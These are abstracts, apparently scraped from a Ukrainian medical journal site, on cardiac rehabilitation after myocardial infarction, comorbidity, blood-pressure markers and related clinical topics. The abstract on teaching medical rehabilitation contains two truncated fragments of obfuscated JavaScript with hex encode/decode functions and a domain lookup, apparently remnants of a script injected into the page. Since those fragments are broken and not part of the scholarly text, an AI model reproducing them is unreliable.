МЕДИКО-СОЦІАЛЬНІ АСПЕКТИ ВІДНОВНОГО ЛІКУВАННЯ ХВОРИХ НА ІНФАРКТ МІОКАРДА З КОМОРБІДНИМ ЦУКРОВИМ ДІАБЕТОМ

Purpose: to establish criteria for readiness for rehabilitation of patients with myocardial infarction (MI), depending on the presence of comorbid diabetes mellitus, taking into account the peculiarities of the functional condition of the body. Materials and Methods. 371 patients with acute myocardial infarction and comorbid pathology were examined. Diagnosis, treatment and rehabilitation of the patients were performed according to the current protocols. Results. An in-depth statistical analysis proved the influence of comorbid diabetes mellitus on various functional systems of the acute MI patient and other marker parameters that could be used to control metabolic, hemodynamic and regulatory disorders in restoring health in patients with MI. In addition to glucose, as the traditional marker of comorbid diabetes, other parameters included a level of fibrinogen, INR, ECR, number of peripheral blood lymphocytes, duration of history of arterial hypertension, and Charlson Comorbidity Index. In case of MI complications, prevalent in patients with diabetes mellitus, left ventricular aneurysm and Dressler syndrome were more commonly diagnosed in these patients. Conclusions. 1. The combination of myocardial infarction with comorbid diabetes mellitus is an independent predictor of the worst functional condition of the body, and such patients often suffer from MI complications and cardiac insufficiency, requiring more thorough monitoring of marker functional parameters, and an individual approach to rehabilitation measures. 2. An integral parameter for assessing the functional condition of a patient when planning rehabilitation measures may be the Charlson Comorbidity Index, which quantitatively reflects the degree of comorbidity in patients with diabetes mellitus.Мета: встановити критерії готовності до реабілітації хворих на інфаркт міокарда залежно від наявності супутнього цукрового діабету з врахуванням особливостей функціонального стану організму. Матеріали і методи. Обстежено 371 хворого на гострий інфаркт міокарда з коморбідною патологією. Діагностику, лікування та реабілітацію пацієнтів проводили відповідно до чинних протоколів. Результати. Поглиблений статистичний аналіз дозволив підтвердити описаний іншими дослідниками вплив супутнього цукрового діабету на різні функціональні системи організму хворого на гострий інфаркт міокарда та виявити нові маркерні показники, які можуть бути використані для контролю метаболічних, гемодинамічних та регуляторних порушень при відновленні здоров’я у хворих на інфаркт міокарда. Окрім глюкози, як традиційного маркера супутнього цукрового діабету, ними виявилися рівень фібриногену, міжнародне нормалізоване відношення швидкості осідання еритроцитів, кількість лімфоцитів у периферійній крові, тривалість анамнезу артеріальної гіпертензії та індекс коморбідності Чарльсона. Стосовно ускладнень інфаркту міокарда, які переважають у хворих на цукровий діабет, то в них більш часто діагностували серцеву астму, аневризму лівого шлуночка і синдром Дреслера. Висновки. 1. Поєднання інфаркту міокарда з коморбідним цукровим діабетом є незалежним предиктором гіршого функціонального стану організму, в таких хворих найчастіше розвиваються ускладнення інфаркту міокарда та серцева недостатність, що потребує більш ретельного контролю за маркерними функціональними показниками, а також індивідуального підходу в проведенні реабілітаційних заходів. 2. Інтегральним показником для оцінки функціонального стану хворого при плануванні реабілітаційних заходів може слугувати індекс коморбідностіЧарльсона, який відображає кількісний ступінь коморбідності у хворих на інфаркт міокарда в поєднанні з цукровим діабетом

КОНСТЕЛЯЦІЯ БІОХІМІЧНИХ ТА ФІЗИЧНИХ МАРКЕРІВ ФУНКЦІОНАЛЬНОГО СТАНУ ОРГАНІЗМУ ХВОРИХ НА ІНФАРКТ МІОКАРДА З РІВНЯМИ СИСТОЛІЧНОГО І ДІАСТОЛІЧНОГО АРТЕРІАЛЬНОГО ТИСКУ ТА МОЖЛИВІСТЬ ЇХ ВИКОРИСТАННЯ У ПРОЦЕСІ РЕАБІЛІТАЦІЇ

Introduction. Providing full medical care to patients with myocardial infarction (MI) with comorbid pathology (CP) on the background of arterial hypertension remains a complicated medical problem, which has not been resolved to date. The aim of the study – to study the peculiarities of the clinical course of myocardial infarction with comorbid pathology depending on the levels of systolic and diastolic blood pressure, to identify the early marker and limiting parameters of the functional parameters of the body and stratification risks to control the effectiveness of the rehabilitation process in this category of patients. Research Methods. We examined 371 patients with myocardial infarction aged (66.2±10.4) years. In 93.8 % of the surveyed, concomitant pathology was detected. The basic functional indicators of a patient's body condition on the MI with CP and their relationship with SAP and DBP, as well as indicators of physical activity tolerance were studied. Results and Discussion. There was a direct correlation between the levels of SBP in the acute MI period and the duration of the history of arterial hypertension (r = 0.130; P = 0.040); left ventricular posterior wall thickness (r = 0.189; P <0.001); left ventricular ejection fraction (r = 0.275; P <0.0001) and the size of aorta (r = 0.228; P <0.0001). There was also a direct relationship between the levels of DBP and the left ventricular posterior wall thickness (r = 0.130; P = 0.022); the size of the aorta (r = 0.172; P = 0.002); the size of the left atrium (r = 0.188; P = 0.001), left ventricular ejection fraction (r = 0,210; P <0,001), as well as blood creatinine levels (r = 0,119; P = 0,023). Authentic feedback between SBP/DBP levels and paroxysmal atrial fibrillation, cardiogenic shock, pulmonary edema, and left ventricular aneurysm may indicate a depletion of hemodynamic reserves reduced due to acute ischemic damage to the myocardium. Conclusions. SBP/DBP indicators in the acute MI period are early prognostic markers of biochemical, morphological and hemodynamic changes in patients with MI with CP, adequately reflect the overall functional state of the patient and cardiovascular risks, and therefore they should be monitored during the rehabilitation process. There is a significant direct correlation between creatinine levels in such patients with DBP in acute MI and morphological changes in the cardiac muscle, so it can be successfully used as a marker for systemic hemodynamic control at the stages of cardio-rehabilitation.Вступление. Предоставление полноценной медицинской помощи больным инфарктом миокарда (ИМ) с коморбидной патологией (КП) на фоне артериальной гипертензии остается сложной медицинской проблемой, которая на сегодняшний день не решена. Цель исследования – изучить особенности клинического течения инфаркта миокарда с коморбидной патологией в зависимости от уровней систолического и диастолического артериального давления, выявить ранние маркерные и лимитирующие параметры функциональных показателей организма и стратификационные риски для контроля за эффективностью реабилитационного процесса в этой категории пациентов. Методы исследования. Обследовано 371 больного инфарктом миокарда в возрасте (66,2±10,4) года. В 93,8 % обследованных было выявлено сопутствующую патологию. Изучены основные функциональные показатели состояния организма больного ИМ с КП и их связь с систолическим (САД) и диастолическим артериальным давлением (ДАД), а также с показателями толерантности к физической нагрузке. Результаты и обсуждение. Было установлено прямую корреляцию между уровнями САД в острый период ИМ и продолжительностью анамнеза артериальной гипертензии (r=0,130; P=0,040), толщиной задней стенки левого желудочка (r=0,189; P<0,001), фракцией выброса левого желудочка (r=0,275; P<0,0001) и размером аорты (r=0,228; P<0,0001). Существовала также достоверная прямая связь между уровнями ДАД и толщиной задней стенки левого желудочка (r=0,130; P=0,022), размером аорты (r=0,172; P=0,002), размером левого предсердия (r=0,188; P=0,001), фракцией выброса левого желудочка (r=0,210; P<0,001), а также уровнем креатинина крови (r=0,119; P=0,023). Обнаруженная достоверная обратная связь между уровнями САД/ДАД и пароксизмом фибрилляции предсердий, кардиогенным шоком, отеком легких и аневризмой левого желудочка может свидетельствовать об истощении гемодинамических резервов, пониженных в результате острого ишемического повреждения миокарда. Выводы. Показатели САД/ДАД в острый период ИМ являются ранними прогностическими маркерами биохимических, морфологических и гемодинамических изменений у больных ИМ с КП, адекватно отражают общее функциональное состояние пациента и сердечно-сосудистые риски, поэтому их необходимо мониторить в процессе реабилитации. Существует достоверная прямая связь уровня креатинина у таких пациентов с показателями ДАД в острый период ИМ и морфологическими изменениями сердечной мышцы, поэтому его можно успешно использовать как маркер системного гемодинамического контроля на этапах кардиореабилитации.Вступ. Надання повноцінної медичної допомоги хворим на інфаркт міокарда (ІМ) з коморбідною патологією (КП) на фоні артеріальної гіпертензії залишається складною медичною проблемою, якої на сьогодні не вирішено. Мета дослідження – вивчити особливості клінічного перебігу інфаркту міокарда з коморбідною патологією залежно від рівнів систолічного та діастолічного артеріального тиску, виявити ранні маркерні й лімітуючі параметри функціональних показників організму та стратифікаційні ризики для контролю за ефективністю реабілітаційного процесу в цієї категорії пацієнтів. Методи дослідження. Обстежено 371 хворого на інфаркт міокарда віком (66,2±10,4) року. В 93,8 % обстежених було виявлено супутню патологію. Вивчено основні функціональні показники стану організму хворого на ІМ з КП та їх зв’язок із систолічним (САТ) і діастолічним артеріальним тиском (ДАТ), а також з показниками толерантності до фізичного навантаження. Результати й обговорення. Було встановлено пряму кореляцію між рівнями САТ у гострий період ІМ та тривалістю анамнезу артеріальної гіпертензії (r=0,130; P=0,040), товщиною задньої стінки лівого шлуночка (r=0,189; P<0,001), фракцією викиду лівого шлуночка (r=0,275; P<0,0001) і розміром аорти (r=0,228; P<0,0001). Існував також достовірий прямий зв’язок між рівнями ДАТ і товщиною задньої стінки лівого шлуночка (r=0,130; P=0,022), розміром аорти (r=0,172; P=0,002), розміром лівого передсердя (r=0,188; P=0,001), фракцією викиду лівого шлуночка (r=0,210; P<0,001), а також рівнями креатиніну крові (r=0,119; P=0,023). Виявлений достовірний обернений зв’язок між рівнями САТ/ДАТ і пароксизмом фібриляції передсердь, кардіогенним шоком, набряком легень та аневризмою лівого шлуночка може свідчити про виснаження гемодинамічних резервів, знижених внаслідок гострого ішемічного ушкодження міокарда. Висновки. Показники САТ/ДАТ у гострий період ІМ є ранніми прогностичними маркерами біохімічних, морфологічних та гемодинамічних змін у хворих на ІМ з КП, адекватно відображають загальний функціональний стан пацієнта і серцево-судинні ризики, тому їх необхідно моніторувати в процесі реабілітації. Рівень креатиніну в таких пацієнтів має достовірний прямий зв’язок з показниками ДАТ у гострий період ІМ та морфологічними змінами серцевого м’яза, тому його можна успішно використовувати як маркер системного гемодинамічного контролю на етапах кардіореабілітації

РЕЗУЛЬТАТИ ВПРОВАДЖЕННЯ ІННОВАЦІЙНОЇ ПРОГРАМИ КАРДІОРЕАБІЛІТАЦІЇ ХВОРИХ НА ІНФАРКТ МІОКАРДА З КОМОРБІДНОЮ ПАТОЛОГІЄЮ

Purpose: to analyze the effectiveness of the innovative cardio-rehabilitation program (CRP) for patients with myocardial infarction (MI) with comorbid pathology (CP). Materials and Methods. The results of the survey of 371 patients with MI with CP, who were rehabilitated according to the traditional scheme (TSC) and the innovative model (IM) with the use of the "Diary of Rehabilitation" and the mathematical model of the reaction of the cardiovascular system (MMCVS), were generalized. Results and Discussion. Innovative CRP for patients with MI with CP was more effective compared with the traditional one. Thus, at the stationary stage of rehabilitation, under the influence of IM, 87.9 % of patients with MI with CP achieved IV degree of motor activity versus 45.1 % of patients who were restored traditionally (P <0.05). At the outpatient stage, the use of RBI contributed to the achievement of VІІ degree of motor activity in 85.1% of patients with MI with CP, compared with 58.8 % of patients whom TSC group (P <0.05). Moreover, all indicators of physical activity tolerance – 6MWT10, 6MWT30, 6MWT90, remote walking in the discharge were significantly (P <0.05) higher under the influence of RBIs than with the use of TKR. In the framework of the innovative program of the Kyrgyz Republic, 84 patients with very high risk were treated, in which the additional use of MMCVS significantly increased the results of rehabilitation: before the end of the stage I of rehabilitation IV degree of physical activity reached 86.9 % of patients versus 39.6 % of patients in the control group (P <0.05). Conclusions. 1. Innovative individualized cardio-rehabilitation program for patients with MI with CP is more effective than the traditional model at all stages of rehabilitation. In the process of rehabilitation of patients with very high cardiovascular risk, it is recommended to use the author’s mathematical model of the cardiovascular system response in order to predict risks at the stages of rehabilitation.Мета: проаналізувати ефективність інноваційної програми кардіологічної реабілітації (КР) хворих на інфаркт міокарда (ІМ) з коморбідною патологією (КП). Матеріали і методи. Узагальнено результати обстеження 371 хворого на інфаркт міокарда з коморбідною патологією, які проходили  реабілітацію за традиційною схемою (ТКР) та інноваційною моделлю (ІКР) з використанням «Щоденника реабілітації» та математичної моделі реакції серцево-судинної системи (ММССС). Результати. Інноваційна програма КР хворих на ІМ із КП виявилась ефективнішою порівняно із традиційною. Так, на стаціонарному етапі реабілітації, під впливом ІКР 87,9 % хворих на ІМ із КП досягли ІV ступеня рухової активності проти 45,1 % хворих, які відновлювалися традиційно (р<0,05). На амбулаторному етапі застосування ІКР сприяло досягненню VІІ ступеня рухової активності у 85,1 % хворих на ІМ із КП проти 58,8 % пацієнтів з групи ТКР (р<0,05). Причому, усі показники толерантності до фізичного навантаження, – ТШХ10, ТШХ30, ТШХ90, дистанційна ходьба при виписуванні були достовірно (р<0,05) вищими під впливом ІКР, ніж при застосуванні ТКР. У межах інноваційної програми КР було проліковано 84 хворих дуже високого ризику, в яких додаткове застосування ММССС дозволило достовірно підвищити результати відновного лікування: до закінчення І етапу реабілітації ІV ступеня фізичної активності досягли 86,9 % хворих проти 39,6 % пацієнтів контрольної групи (р<0,05). Висновки. 1. Інноваційна індивідуалізована програма кардіореабілітації хворих на ІМ із КП є більш ефективною, ніж традиційна модель, на всіх етапах відновного лікування. У процесі реабілітації хворих дуже високого кардіоваскулярного ризику рекомендовано використовувати авторську математичну модель реакції серцево-судинної системи з метою прогнозування ризиків на етапах реабілітації

МЕТОДИ ІДЕНТИФІКАЦІЇ ДИНАМІЧНОЇ МОДЕЛІ РЕАКЦІЇ СЕРЦЕВО-СУДИННОЇ СИСТЕМИ НА ФІЗИЧНЕ НАВАНТАЖЕННЯ У ХВОРИХ НА ІНФАРКТ МІОКАРДА В ПРОЦЕСІ РЕАБІЛІТАЦІЇ

Background. Predicting the dynamics of pulse and blood pressure under physical activity is a key task in planning the patient's rehabilitation process after cardiovascular events and, firstly, myocardial infarction. Nowadays, it is empirically solved, however, the development of an adequate mathematical model for predicting major hemodynamic indicators would avoid the subjectivity of assessments and increase the reliability of the prognosis, safety and effectiveness of rehabilitation technology. The aim of the study: to develop and identify a dynamic model of the cardiovascular system response to physical activity in patients with myocardial infarction during the rehabilitation process. Materials and methods. Results. In order to formulate the judgment about changing the patient's condition under the action of physical activity in the process of rehabilitation, a system for modeling the levels of pulse and blood pressure using a package of applied programs for mathematical modeling was implemented. Its main subsystems are processing and data identification, forecasting data generation. To verify the adequacy of the constructed model, a mode to check the tolerance to physical activity was used. Observations were conducted on a group of patients with myocardial infarction of the functional class I-II in the sub acute phase of rehabilitation. The dynamics of the body's response to patients with identical physical activity was recorded at an interval of 3 minutes in the course of a defined phase of the rehabilitation program. The obtained results testify to the adequacy of the constructed mathematical model for the analyzed stage of the rehabilitation process. The maximum error rate for the entire observation period was 9.5 % for pulse, and 5.2 % for blood pressure. Conclusions. 1. The mathematical model of the dynamics of pulse and blood pressure under the action of physical activity in the sub-stage of the rehabilitation phase allows predicting the body's response to the graduated exercise. 2. The method of identification of a set of differential equations that simulates the dynamics of pulse and blood pressure under the action of exercise on the basis of the modified gradient Levenberg-Marquardt method, supplemented by the procedure for choosing the initial values of the coefficients, confirms the adequacy of the developed mathematical model.Прогнозирование динамики пульса и артериального давления под действием физической нагрузки является ключевой задачей при планировании процесса реабилитации пациента после перенесенных сердечно-сосудистых заболеваний, и, в первую очередь, инфаркта миокарда. На сегодняшний день ее решают эмпирически, однако, разработка адекватной математической модели прогнозирования основных гемодинамических показателей позволила бы избежать субъективизма оценок и повысить надежность прогноза, безопасность и эффективность реабилитационной технологии. Целью исследования была разработка и идентификация динамической модели реакции сердечно-сосудистой системы на физическую нагрузку у больных инфарктом миокарда в процессе реабилитации. С целью формирования суждения об изменении состояния пациента под действием физической нагрузки в процессе реабилитации реализована система моделирования уровней пульса и артериального давления при помощи пакета прикладных программ для математического моделирования. Ее основными подсистемами является обработка и идентификация данных, формирование прогнозных данных. Для проверки адекватности построенной модели использовано средство проверки толерантности к физической нагрузке. Наблюдения проводились над группой больных инфарктом миокарда I-II функционального класса в подострую фазу реабилитации. Динамика реакции организма пациента на идентичную физическую нагрузку фиксировалась с интервалом 3 минуты в процессе проведения определенного этапа программы реабилитации. Полученные результаты свидетельствуют об адекватности построенной математической модели для рассматриваемого этапа процесса реабилитации. Максимальный уровень ошибок за весь период наблюдения составил 9,5 % по пульсу и 5,2 % по артериальному давлению. Таким образом, разработанная математическая модель динамики пульса и артериального давления под действием физической нагрузки в подострую фазу реабилитации позволяет прогнозировать реакцию организма на дозированную физическую нагрузку. Метод идентификации совокупности дифференциальных уравнений, моделирующих динамику пульса и артериального давления под действием физической нагрузки на основе модифицированного градиентного метода Левенберг-Марквадта, дополненного процедурой выбора начальных значений коэффициентов, подтверждает адекватность разработанной математической модели.Прогнозування динаміки пульсу та артеріального тиску під дією фізичного навантаження є ключовим завданням при плануванні процесу реабілітації пацієнта після перенесених серцево-судинних подій, і, в першу чергу, інфаркту міокарда. На сьогоднішній день її розв'язують емпірично, однак, розроблення адекватної математичної моделі прогнозування основних гемодинамічних показників дозволила б уникнути суб'єктивізму оцінок і підвищити надійність прогнозу, безпеку та ефективність реабілітаційної технології. З метою формування судження про зміну стану пацієнта під дією фізичного навантаження в процесі реабілітації реалізовано систему моделювання рівнів пульсу та артеріального тиску за допомогою пакету прикладних програм для математичного моделювання. Її основними підсистемами є обробка та ідентифікація даних, формування прогнозних даних. Для перевірки адекватності побудованої моделі використано засіб перевірки толерантності до фізичного навантаження. Отримані результати свідчать про адекватність побудованої математичної моделі для аналізованого етапу процесу реабілітації. Максимальний рівень похибок за весь період спостереження склав 9,5 % щодо пульсу та 5,2 % щодо артеріального тиску. Отже, розроблена математична модель динаміки пульсу та артеріального тиску під дією фізичного навантаження в підгостру фазу реабілітації дозволяє прогнозувати реакцію організму на дозоване фізичне навантаження. Метод ідентифікації сукупності диференціальних рівнянь, що моделюють таку динаміку під дією фізичного навантаження на основі модифікованого градієнтного методу Левенберга-Марквадта, доповненого процедурою вибору початкових значень коефіцієнтів, підтверджує адекватність розробленої математичної моделі

МЕДИКО-СОЦІАЛЬНІ АСПЕКТИ КАРДІОЛОГІЧНОЇ ПАТОЛОГІЇ СЕРЕД ПРАЦІВНИКІВ ТА УЧНІВ СПЕЦІАЛІЗОВАНОГО ЗАКЛАДУ СЕРЕДНЬОЇ ТЕХНІЧНОЇ ОСВІТИ

The article substantiates the expediency of studying of medical and social aspects of cardiovascular health among different groups of population, assessing the cardiovascular risk and lifestyle modifications, as well as the skills of the nurse's preventive work in this aspect.У статті обґрунтовується доцільність вивчення медико-соціальних аспектів серцево-судинного здоров’я серед різних популяцій населення, оцінки кардіоваскулярних ризиків та модифікації стилю життя, а також чітких навичок профілактичної роботи медичної сестри у цьому аспекті

СУЧАСНІ ПРИНЦИПИ КАРДІОРЕАБІЛІТАЦІЇ ПАЦІЄНТІВ ПІСЛЯ ГОСТРОГО КОРОНАРНОГО СИНДРОМУ (ОГЛЯД ЛІТЕРАТУРИ ТА ВЛАСНІ ДОСЛІДЖЕННЯ)

Acute myocardial infarction is one of the main causes of mortality nowadays. The introduction of effective cardio-rehabilitation programs for patients with severe coronary heart disease is an important tool for improving the life quality and duration. In most of the recommendations, cardio-rehabilitation has Class I A level of evidence. The plan of rehabilitation should be individual and based on pre-made stratification of risk, determining the level of functional capacity and specific needs of the patient. Today, in addition to the traditional model of cardio-rehabilitation, which includes 4 stages, alternative models with the use of personalized telemedicine, focusing on an individual profile of risk factors, as well as community and home-based programs that take into account the possibility of choosing for patients according to their needs and benefits, are proposed. The aim of the study – improvement the effectiveness of rehabilitation of patients with acute myocardial infarction, who underwent percutaneous balloon angioplasty and coronary artery stenting for acute coronary syndrome, by implementing an individualized adapted cardio-rehabilitation program at an early out-patient stage. Materials and Methods. 92 patients with myocardial infarction were examined, 58 of which in the early post-infarction period the course of the original individualized adapted cardio-rehabilitation program was conducted for three months and 34 patients of the control group, comparable by age, sex and clinical manifestations of myocardial infarction, a standard rehab program was conducted. The evaluation of the effectiveness of both programs of cardio-rehabilitation was carried out by comparing the reduction of clinical manifestations of myocardial infarction, restoring the parameters of systole-diastolic function of the heart, the degree of tolerance to physical activity and assessing the quality of life of patients. Results and Discussion. Using the individually adapted rehabilitation program in the post-infarction period in patients with ACS, whom were performed percutaneous balloon angioplastic and stenting of the coronary artery, promotes to faster and more efficient elimination of clinical manifestations of heart failure and violations of the systole-diastolic function of the left ventricle. At the same time, these patients were significantly increased with tolerance to physical activity, which was accompanied by improved self-esteem and compliance with medical recommendations and showed improved quality of life. Conclusions. The use of the original individually adapted program of cardio-rehabilitation at the early outpatient stage can reduce the signs of systole-diastolic dysfunction of the heart and significantly increase the patient's tolerance to physical activity, which ultimately improves their quality of life.Острый инфаркт миокарда на сегоднишний день остается одной из главных причин смертности. Внедрение эффективных кардиореабилитационных программ для пациентов, перенесших острые формы ишемической болезни сердца (ИБС), является важным средством улучшения качества и продолжительности жизни. В большинстве рекомендаций кардиореабилитации имеет I класс А уровень доказательности. План реабилитации должен быть индивидуальным и основываться на предварительно проведенной стратификации риска, определении уровня функциональной способности и конкретных потребностях больного. На сегодня, кроме традиционной модели кардиореабилитации, включающей 4 этапа, предложены альтернативные модели с использованием персонифицированной телемедицины, сфокусированной на индивидуальном профиле факторов риска, а также общинных и домашних программах, учитывающих возможность выбора для пациентов в соответствии с их потребностями. Цель исследования – повысить эффективность реабилитации больных острым инфарктом миокарда, которым проведено перкутанную баллонную ангиопластику и стентирование коронарной артерии по поводу острого коронарного синдрома путем внедрения индивидуализированной адаптированной программы кардиореабилитации на раннем амбулаторном этапе. Метариалы и методы. Обследовано 92 больных инфарктом миокарда, 58 из которых в раннем постинфарктном периоде проведен курс оригинальной индивидуализированной адаптированной программы кардиореабилитации в течении 3-х месяцев, и 34 пациентам контрольной группы, сопоставимых по возрасту, полу и клиническим проявлениям инфаркта миокарда, проведено стандартную программу реабилитации. Оценку эффективности обеих программ кардиореабилитации проводили путем сопоставления редукции клинических проявлений инфаркта миокарда, восстановление параметров систоло-диастолической функции сердца, степени толерантности к физическим нагрузкам и оценки качества жизни пациентов. Результаты исследований и их обсуждение. Использование индивидуально адаптированной программы реабилитации в послеинфарктном периоде у больных ОКС, которую мы предложили, провели перкутанную балонную ангиопластику и стентирование коронарной артерии, способствует более эффективной ликвидации клинических проявлений сердечной недостаточности и нарушений систоло-диастолической функции левого желудочка. Одновременно у этих пациентов существенно повышается толерантность к физическим нагрузкам, что сопровождалось улучшением самочуствия и комплаенса к лечебным рекомендациям и свидетельствовало о повышении качества их жизни. Выводы. Использование оригинальной индивидуально адаптированной программы кардиореабилитации на раннем амбулаторном этапе позволяет снизить признаки систоло-диастолической дисфункции сердца и существенно повысить толерантность пациентов к физическим нагрузкам, что в итоге повышает качество их жизни.Гострий інфаркт міокарда (ІМ) на сьогодні залишається однією з головних причин смертності та інвалідизації. Упровадження ефективних кардіореабілітаційних програм для пацієнтів, які перенесли гострі форми ішемічної хвороби серця (ІХС), є важливим засобом поліпшення якості та тривалості життя. У більшості рекомендацій кардіореабілітація має І клас А рівень доказовості. План реабілітації повинен бути індивідуальним і базуватися на попередньо проведеній стратифікації ризику, визначенні рівня функціональної здатності й конкретних потребах хворого. На сьогодні, крім традиційної моделі кардіореабілітації, що включає 4 етапи, запропоновано альтернативні моделі з використанням персоніфікованої телемедицини, сфокусованої на індивідуальному профілі факторів ризику, а також спільнотних та домашніх програмах, які враховують можливість вибору для пацієнтів відповідно до їхніх потреб. Мета дослідження – підвищити ефективність реабілітації хворих на гострий інфаркт міокарда, яким проведено перкутанну балонну ангіопластику та стентування коронарної артерії з приводу гострого коронарного синдрому шляхом упровадження індивідуалізованої адаптованої програми кардіореабілітації на ранньому амбулаторному етапі. Метаріали і методи. Обстежено 92 хворих на інфаркт міокарда, 58 з яких у ранньому післяінфарктному періоді проведено курс оригінальної індивідуалізованої адаптованої програми кардіореабілітації протягом 3-х місяців, і 34 пацієнтам контрольної групи, яких зіставили за віком, статтю та клінічними проявами інфаркту міокарда, проведено стандартну програму реабілітації. Оцінку ефективності обох програм кардіореабілітації виконували шляхом зіставлення редукції клінічних проявів інфаркту міокарда, відновлення параметрів систоло-діастолічної функції серця, ступеня толерантності до фізичних навантажень та оцінки якості життя пацієнтів. Результати досліджень та їх обговорення. Використання індивідуально адаптованої програми реабілітації в післяінфарктному періоді у хворих із ГКС, яку ми запропонували, і провели перкутанну балонну ангіопластику та стентування коронарної артерії, сприяє більш швидкій та ефективнішій ліквідації клінічних проявів серцевої недостатності та порушень систоло-діастолічної функції лівого шлуночка. Одночасно у цих пацієнтів суттєво підвищується толерантність до фізичних навантажень, що супроводжувалось поліпшенням самопочуття і комплаєнсу до лікувальних рекомендацій та свідчило про підвищення якості життя. Висновки. Застосування оригінальної індивідуально адаптованої програми кардіореабілітації на ранньому амбулаторному етапі дозволяє знизити ознаки систоло-діастолічної дисфункції серця і суттєво підвищити толерантність пацієнтів до фізичних навантажень, що підвищує якість їх життя

МЕДИКО-СОЦІАЛЬНІ АСПЕКТИ КАРДІОЛОГІЧНОЇ ПАТОЛОГІЇ У ПАЦІЄНТІВ ОФТАЛЬМОЛОГІЧНОГО ПРОФІЛЮ

The article substantiates the relevance of the problem under study, provides for the study of medical and social aspects of health of the population, enhancement of medical culture and popularization of a healthy lifestyle, and precise skills of the nurse's preventive work in this aspect.У статті обґрунтовано актуальність досліджуваної проблеми, передбачено вивчення медико-соціальних аспектів здоров’я населення, підвищення медичної культури та популяризації здорового способу життя, чітких навичок профілактичної роботи медичної сестри у цьому аспекті

ДО ПИТАННЯ ГЕНДЕРНИХ ОСОБЛИВОСТЕЙ КЛІНІЧНОГО ПЕРЕБІГУ ТА ЛІКУВАЛЬНОЇ ТАКТИКИ ПРИ ГОСТРОМУ КОРОНАРНОМУ СИНДРОМІ

Cardiovascular diseases are among  leading causes of mortality in both men and women. However, acute coronary syndrome in women often remains undiagnosed and untreated due to lack of awareness of this problem by women, the presence of atypical symptoms, delay in time with the correct diagnosis and lesser use of invasive treatments.In this article the main features of the clinical course of acute coronary syndrome in women, in particular myocardial infarction without obstruction of the coronary arteries, are highlighted. At the same time, the general principles of diagnostics and management for both sexes are emphasized, regardless of the presence of certain gender differences, as well as the list, indications for use and doses of fibrinolytic, anticoagulant and antiplatelet agents from the standpoint of evidence-based medicine.Сердечно-сосудистые заболевания продолжают занимать ведущее место среди причин смертности как у мужчин, так и у женщин. Однако острый коронарный синдром у женщин часто остается до конца не диагностированным и не леченным вследствие недостаточного осознания этой проблемы самими женщинами, наличия атипичных симптомов, промедления во времени с установлением правильного диагноза и менее частым применением инвазивных методов лечения.В статье освещены основные особенности клинического течения острого коронарного синдрома у женщин, в частности инфаркт миокарда без обструкции коронарных артерий. Одновременно отмечено совместныe принципы диагностики и программы ведения для обоих полов, независимо от наличия определенных гендерных различий, а также приведен перечень, показания к применению и дозы фибринолитических, антикоагулянтных и антиагрегантных средств с позиций доказательной медицины.Серцево-судинні захворювання займають провідне місце  серед причин  смертності як у чоловіків, так і в жінок. Проте гострий коронарний синдром у жінок часто залишається не до кінця діагностованим і не лікованим через недостатнє усвідомлення цієї проблеми самими жінками, наявність атипових симптомів, зволікання з встановленням правильного діагнозу та рідше застосування інвазивних методів лікування.У статті висвітлені основні особливості клінічного перебігу гострого коронарного синдрому у жінок, зокрема інфаркту міокарда без обструкції коронарних артерій, особливостей диференційної діагностики. Наголошено на спільних принципах діагностики і програмах ведення пацієнтів обох статей, незалежно від наявності певних гендерних розбіжностей, а також наведено перелік, показання до застосування і дози фібринолітичних, антикоагулянтних та антиагрегантних засобів з позицій доказової медицини

ОСОБЛИВОСТІ ВИКЛАДАННЯ МЕДИЧНОЇ РЕАБІЛІТАЦІЇ В СУЧАСНИХ УМОВАХ

The article adduces the necessity of further strengthening of material and technical basis and educational and methodical basisof departments of medical rehabilitation in higher educational institutions of Ukraine. An urgent issue in modern conditions is theimplementing of new approaches to the teaching of Medical Rehabilitation caused by the great quantity of damaged after the eventson Maidan and in anti-terrorist operation area and also patients who need the rehabilitation after the previous diseases.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ статті обґрунтована необхідність подальшого зміцнення матеріально-технічної та навчально-методичної бази кафедр медичної реабілітації у ВНЗ України. Актуальним у сучасних умовах є впровадження нових підходів до викладання медичної реабілітації, що обумовлено великою кількістю постраждалих після подій на Майдані і в зоні АТО, а також хворих, які потребують реабілітації після перенесених захворювань.

ТРОМБОФІЛІЯ, УСКЛАДНЕНА РЕЦИДИВУЮЧОЮ ТРОМБОЕМБОЛІЄЮ ЛЕГЕНЕВОЇ АРТЕРІЇ – КЛІНІЧНИЙ ВИПАДОК ІЗ АНАЛІЗОМ СУЧАСНИХ ДІАГНОСТИЧНО-ЛІКУВАЛЬНИХ АЛГОРИТМІВ ВЕДЕННЯ ХВОРИХ

Venous thrombosis or embolism (VTE) is one of the most severe life-threatening complications. The aim of the study – to analyze modern approaches to diagnosis and treatment of patients with thrombophilia complicated by recurrent pulmonary thromboembolism on the basis of own clinical case. Results. For evaluation of VTE risk the Padua scale is recommended, especially in young patients. A compulsory screening to confirm or rule out the congenital or acquired thrombophilia that determines the program for the prevention of recurrent VTE should be performed. In patients with diagnosed thrombophilia it is necessary to use a personified choice of anticoagulants. Indications for the use of direct or indirect anticoagulants are determined by specific forms of thrombophilia. This diagnostic algorithm allows prescribing adequate preventive anticoagulant therapy in such patients, which was confirmed in our clinical case. Conclusions. The high incidence of VTE, lack of knowledge among practitioners regarding the diagnosis of the disease, identification of its causes and clinical forms, and the ambiguity of results of various programs of treatment and prevention of VTE, substantiate the need for additional multicenter clinical trials and a broader discussion of this problem among medical society.Венозный тромбоз и эмболия (ВТЭ) – одно из самых тяжелых по течению и угрожающих для жизни осложнений. Цель исследования – проанализировать современные подходы к диагностике и лечению больных с тромбофилией, осложненной рецидивирующей тромбоэмболией легочной артерии на основе собственного клинического случая. Результаты. Для оценки риска ВТЭ у госпитализированных пациентов терапевтического профиля целесо­образно использовать шкалу Падуа, а при повторных ВТЭ / ТЭЛА, особенно у пациентов молодого возраста, показано 